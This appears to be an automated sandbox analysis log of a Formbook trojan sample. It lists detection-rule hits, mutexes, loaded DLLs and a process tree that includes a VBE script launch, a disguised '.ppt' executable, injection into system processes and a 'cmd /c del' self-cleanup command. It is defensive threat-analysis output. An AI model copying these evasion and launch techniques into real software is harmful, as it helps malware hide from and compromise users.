              Source: Process Memory Space: gbkusncub.ppt.exe PID: 4988, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: Process Memory Space: chkdsk.exe PID: 2420, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: Process Memory Space: NETSTAT.EXE PID: 6084, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: Process Memory Space: gbkusncub.ppt.exe PID: 6904, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: Process Memory Space: cmmon32.exe PID: 2244, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: Process Memory Space: gbkusncub.ppt.exe PID: 7064, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: Process Memory Space: NETSTAT.EXE PID: 1524, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
              Source: classification engineClassification label: mal100.troj.evad.winEXE@1360/47@10/0
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00D9932C GetLastError,FormatMessageW,_wcslen,LocalFree,0_2_00D9932C
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_0077DC9C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,8_2_0077DC9C
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptCode function: 8_2_00794089 CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,8_2_00794089
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCode function: 0_2_00DAEBD3 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,0_2_00DAEBD3
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptFile created: C:\Users\user\llkdJump to behavior
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4372:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3744:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6216:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3796:120:WilError_03
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeFile created: C:\Users\user\AppData\Local\Temp\RarSFX0Jump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCommand line argument: sfxname0_2_00DB454A
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCommand line argument: sfxstime0_2_00DB454A
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeCommand line argument: STARTDLG0_2_00DB454A
              Source: mJIvCBk5vF.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeFile read: C:\Windows\win.iniJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: mJIvCBk5vF.exeReversingLabs: Detection: 47%
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeFile read: C:\Users\user\Desktop\mJIvCBk5vF.exeJump to behavior
              Source: unknownProcess created: C:\Users\user\Desktop\mJIvCBk5vF.exe "C:\Users\user\Desktop\mJIvCBk5vF.exe"
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe"
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c gbkusncub.ppt hcmdvu.msc
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt gbkusncub.ppt hcmdvu.msc
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\raserver.exe "C:\Windows\SysWOW64\raserver.exe"
              Source: C:\Windows\SysWOW64\raserver.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\explorer.exeProcess created: C:\Users\user\llkd\gbkusncub.ppt.exe "C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.msc
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\chkdsk.exe "C:\Windows\SysWOW64\chkdsk.exe"
              Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"
              Source: C:\Windows\explorer.exeProcess created: C:\Users\user\llkd\gbkusncub.ppt.exe "C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.msc
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmmon32.exe "C:\Windows\SysWOW64\cmmon32.exe"
              Source: C:\Windows\explorer.exeProcess created: C:\Users\user\llkd\gbkusncub.ppt.exe "C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.msc
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rwwk.vbe" Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release Jump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c gbkusncub.ppt hcmdvu.mscJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew Jump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /releaseJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt gbkusncub.ppt hcmdvu.mscJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"Jump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renewJump to behavior
              Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\raserver.exe "C:\Windows\SysWOW64\raserver.exe"Jump to behavior
              Source: C:\Windows\explorer.exeProcess created: C:\Users\user\llkd\gbkusncub.ppt.exe "C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.mscJump to behavior
              Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\chkdsk.exe "C:\Windows\SysWOW64\chkdsk.exe"Jump to behavior
              Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"Jump to behavior
              Source: C:\Windows\explorer.exeProcess created: C:\Users\user\llkd\gbkusncub.ppt.exe "C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.mscJump to behavior
              Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmmon32.exe "C:\Windows\SysWOW64\cmmon32.exe"Jump to behavior
              Source: C:\Windows\explorer.exeProcess created: C:\Users\user\llkd\gbkusncub.ppt.exe "C:\Users\user\llkd\GBKUSN~1.EXE" C:\Users\user\llkd\hcmdvu.mscJump to behavior
              Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"Jump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"Jump to behavior
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeProcess created: C:\Users\user\AppData\Local\Temp\RegSvcs.exe "C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: version.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: dxgidebug.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: sfc_os.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: dwmapi.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: riched20.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: usp10.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: msls31.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: windowscodecs.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: textshaping.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: textinputframework.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: coreuicomponents.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: coremessaging.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: ntmarta.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: edputil.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: windows.staterepositoryps.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: policymanager.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: msvcp110_win.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: appresolver.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: bcp47langs.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: slc.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: onecorecommonproxystub.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: pcacli.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: ntshrui.dllJump to behavior
              Source: C:\Users\user\Desktop\mJIvCBk5vF.exeSection loaded: cscapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: vbscript.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mlang.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
              Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: wsock32.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: version.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: winmm.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: mpr.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: wininet.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: userenv.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: uxtheme.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: kernel.appcore.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: sspicli.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: windows.storage.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: wldp.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: ntmarta.dllJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.pptSection loaded: apphelp.dllJump to behavior
              Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: iphlpapi.dllJump to behavior
              Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc.dllJump to behavior
              Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dhcpcsvc6.dllJump to behavior
              Source: C:\Windows\SysWOW64\ipconfig.exeSection loaded: dnsapi.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: windows.cloudstore.schema.shell.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: smartscreenps.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: msvcp140.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: vcruntime140.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: msvcp140.dllJump to behavior
              Source: C:\Windows\explorer.exeSection loaded: vcruntime140_1.dllJump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeSection loaded: wtsapi32.dllJump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeSection loaded: samcli.dllJump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeSection loaded: netutils.dllJump to behavior
              Source: C:\Windows\SysWOW64\raserver.exeSection loaded: wininet.dllJump to behavior
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: wsock32.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: version.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: winmm.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: mpr.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: wininet.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: iphlpapi.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: userenv.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: uxtheme.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: sspicli.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: windows.storage.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: wldp.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: ntmarta.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: apphelp.dll
              Source: C:\Windows\SysWOW64\chkdsk.exeSection loaded: ulib.dll
              Source: C:\Windows\SysWOW64\chkdsk.exeSection loaded: ifsutil.dll
              Source: C:\Windows\SysWOW64\chkdsk.exeSection loaded: ulib.dll
              Source: C:\Windows\SysWOW64\chkdsk.exeSection loaded: devobj.dll
              Source: C:\Windows\SysWOW64\NETSTAT.EXESection loaded: iphlpapi.dll
              Source: C:\Windows\SysWOW64\NETSTAT.EXESection loaded: snmpapi.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: wsock32.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: version.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: winmm.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: mpr.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: wininet.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: iphlpapi.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: userenv.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: uxtheme.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: kernel.appcore.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: sspicli.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: windows.storage.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: wldp.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: ntmarta.dll
              Source: C:\Users\user\llkd\gbkusncub.ppt.exeSection loaded: apphelp.dll
